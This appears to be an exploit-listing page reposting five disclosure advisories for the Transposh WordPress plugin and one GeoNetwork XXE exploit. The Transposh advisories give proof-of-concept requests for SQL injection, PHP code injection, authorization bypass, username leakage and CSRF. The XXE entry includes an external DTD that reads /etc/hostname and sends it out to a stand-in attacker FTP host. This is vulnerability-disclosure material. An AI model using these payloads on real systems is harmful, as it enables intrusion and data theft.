Latest exploits :: CodePwn

<pre><code>RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/ Type: Reliance on File Name or Extension of Externally-Supplied File [CWE-646] Date found: 2022-02-21 Date published: 2022-07-22 CVSSv3 Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) CVE: CVE-2022-25812 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and below 4. INTRODUCTION =============== Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The plugin's "save_transposh" action available at "/wp-admin/admin.php?page=tp_advanced" does not properly validate the "Log file name" allowing an attacker with the "Administrator" role to specify a .php file as the log destination. Since the log file is stored directly within the "/wp-admin" directory, executing arbitrary PHP code is possible by simply sending a crafted request that gets logged. Successful exploits can allow the attacker to compromise the entire WordPress installation. This is specifically relevant in multi-site installations. 6. PROOF OF CONCEPT =================== 1.Go to "/wp-admin/admin.php?page=tp_advanced" and "Enable debugging" by pointing it to a filename with a .php extension. 2.Set the "Level of logging" to "Debug" 3.Saving the settings 4.Submit a payload like "<?php phpinfo();?>" to any of Transposh's functionalities. 5.Go to "/wp-admin/[your-filename.php]" to trigger the code injection 7. SOLUTION =========== None. Remove the plugin to prevent exploitation. 8. REPORT TIMELINE ================== 2022-02-21: Discovery of the vulnerability 2022-02-21: Contacted the vendor via email 2022-02-21: Vendor response 2022-02-22: CVE requested from WPScan (CNA) 2022-02-23: WPScan assigns CVE-2022-25812 2022-05-22: Sent request for status update on the fix 2022-05-24: Vendor states that there is no update planned so far 2022-07-22: Public disclosure 9. REFERENCES ============= https://github.com/MrTuxracer/advisories </code></pre>

<pre><code>RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/ Type: Improper Authorization [CWE-285] Date found: 2022-02-21 Date published: 2022-07-22 CVSSv3 Score: 6.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N) CVE: CVE-2022-25811 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and below 4. INTRODUCTION =============== Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The WordPress plugin's "tp_editor" page at "/wp-admin/admin.php?page=tp_editor" is vulnerable to two authenticated, blind SQL Injections when user-supplied input to the HTT GET parameters "order" and "orderby" is processed by the web application. Since the application does not properly validate and sanitize these parameters, an attacker with the role "Administrator" is able to inject arbitrary SQL commands against the backend database server of the web application. Successful exploits can allow the attacker to access the WordPress backend database and thereby read sensitive contents. This is specifically relevant in multi-site installations. 6. PROOF OF CONCEPT =================== To exploit the "order" parameter: GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Cookie: [Your Cookies] Connection: close To exploit the "orderby" parameter: GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Cookie: [Your Cookies] Connection: close 7. SOLUTION =========== None. Remove the plugin to prevent exploitation. 8. REPORT TIMELINE ================== 2022-02-21: Discovery of the vulnerability 2022-02-21: Contacted the vendor via email 2022-02-21: Vendor response 2022-02-22: CVE requested from WPScan (CNA) 2022-02-23: WPScan assigns CVE-2022-25811 2022-05-22: Sent request for status update on the fix 2022-05-24: Vendor states that there is no update planned so far 2022-07-22: Public disclosure 9. REFERENCES ============= https://github.com/MrTuxracer/advisories https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/ </code></pre>

<pre><code>RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/ Type: Improper Authorization [CWE-285] Date found: 2022-02-21 Date published: 2022-07-22 CVSSv3 Score: 6.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L) CVE: CVE-2022-25810 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and below 4. INTRODUCTION =============== Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== Transposh does not properly enforce authorization on functionalities available on the plugin's "Utilities" page leading to unauthorized access for all user roles, including "Subscriber". Some of the affected functionality is: tp_backup - Initiate a new backup tp_reset - Reset the plugin's configuration tp_cleanup - Delete automated translations tp_dedup - Delete duplicates tp_maint - Fix internal errors tp_translate_all - Trigger an auto-translation of all entries 6. PROOF OF CONCEPT =================== An exemplary request to reset the plugin's configuration, send the following request using a "Subscriber" account: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Content-Length: 15 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: [your cookies] Connection: close action=tp_reset 7. SOLUTION =========== None. Remove the plugin to prevent exploitation. 8. REPORT TIMELINE ================== 2022-02-21: Discovery of the vulnerability 2022-02-21: Contacted the vendor via email 2022-02-21: Vendor response 2022-02-22: CVE requested from WPScan (CNA) 2022-02-23: WPScan assigns CVE-2022-25810 2022-05-22: Sent request for status update on the fix 2022-05-24: Vendor states that there is no update planned so far 2022-07-22: Public disclosure 9. REFERENCES ============= https://github.com/MrTuxracer/advisories </code></pre>

<pre><code># Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE) # Date: 2022-July-11 # Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb) # Vendor Homepage: https://geonetwork-opensource.org/ # Version: Geonetwork 3.10.X through 4.2.0 # Tested on: Microsoft Windows Server & Linux # Description: # GeoNetwork 3.1.x through 4.2.0 # During rendering pdf of map. # The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server. ====================PDF RENDERING==================== POST /geonetwork/pdf/create.json HTTP/1.1 Host: REDACTED Content-Type: application/json Connection: close Content-Length: 563 {"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",], "format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34, 20037508.34], "tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]} The parameters baseURL will be your XML files : ====================XXE_ATTACK==================== ====================XXE.XML======================= <!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]> <foo>&external;</foo> ====================X.dtd========================= They will call the x.dtd <!ENTITY % stuff SYSTEM "file:///etc/hostname"> <!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://ATTACKER_FTP/%stuff;'>"> </code></pre>

<pre><code>RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/ Type: Exposure of Sensitive Information to an Unauthorized Actor [CWE-200] Date found: 2022-07-13 Date published: 2022-07-22 CVSSv3 Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) CVE: CVE-2022-2462 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and below 4. INTRODUCTION =============== Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== Transposh offers an ajax action called "tp_history" which is intended to return data about who has translated a text given by the "token" parameter. However, the plugin also returns the user's login name as part of the "user_login" attribute. Successful exploits can allow an unauthenticated attacker to leak the WordPress username of translators. If an anonymous user submitted the translation, then the user's IP address is returned. 6. PROOF OF CONCEPT =================== The following Proof-of-Concept returns the information of the translated text "Calendly URL": POST /wp-admin/admin-ajax.php HTTP/1.1 Host: [host] Content-Length: 36 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 Connection: close action=tp_history&token=Calendly%20URL&lang=en 7. SOLUTION =========== None. Remove the plugin to prevent exploitation. 8. REPORT TIMELINE ================== 2022-07-13: Discovery of the vulnerability 2022-07-13: CVE requested from WPScan (CNA) 2022-07-18: No response from WPScan 2022-07-18: CVE requested from Wordfence (CNA) instead 2022-07-18: Sent note to vendor 2022-07-18: Wordfence assigns CVE-2022-2462 2022-07-20: Vendor states that there is no update planned so far 2022-07-22: Public disclosure 9. REFERENCES ============= https://github.com/MrTuxracer/advisories </code></pre>

<pre><code>RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/ Type: Cross-Site Request Forgery [CWE-253] Date found: 2021-08-19 Date published: 2022-07-22 CVSSv3 Score: 5.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L) CVE: CVE-2021-24912 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and below 4. INTRODUCTION =============== Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The WordPress plugin lacks anti-CSRF protection on a lot of its functionalities such as the following WordPress ajax actions: tp_backup - Initiates a new backup tp_reset - Resets the plugin's configuration tp_cleanup - Deletes automated translations tp_dedup - Deletes duplicates tp_maint - Fixes internal errors tp_translate_all - Triggers an auto-translation of all entries tp_translation - Adds a new translation for a given item Since there is no anti-CSRF token protecting these functionalities, they are vulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform a variety of attacks as mentioned above. To successfully exploit this vulnerability, a user with the right to access the Transposh "Utilities" or the right to add new translations must be tricked into visiting an arbitrary website while having an authenticated session in the application. 6. PROOF OF CONCEPT =================== An exemplary exploit to reset the plugin's configuration: <html> <body> <form action="http://[host]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="tp_reset" /> <input type="submit" value="Submit request" /> </form> </body> </html> 7. SOLUTION =========== None. Remove the plugin to prevent exploitation. 8. REPORT TIMELINE ================== 2021-08-19: Discovery of the vulnerability 2021-08-20: Contacted the vendor via their contact form 2021-08-20: Vendor response 2021-08-20: Sent all the PoC exploits 2021-08-20: Vendor acknowledges the issues 2021-09-14: Requested status update from vendor 2021-10-07: No response from vendor, requested status update again 2021-10-25: CVE requested from WPScan (CNA) 2021-10-27: WPScan assigns CVE-2021-24912 2022-05-22: Sent request for status update on the fix 2022-05-24: Vendor states that there is no updated planned so far 2022-07-22: Public disclosure 9. REFERENCES ============= https://github.com/MrTuxracer/advisories </code></pre>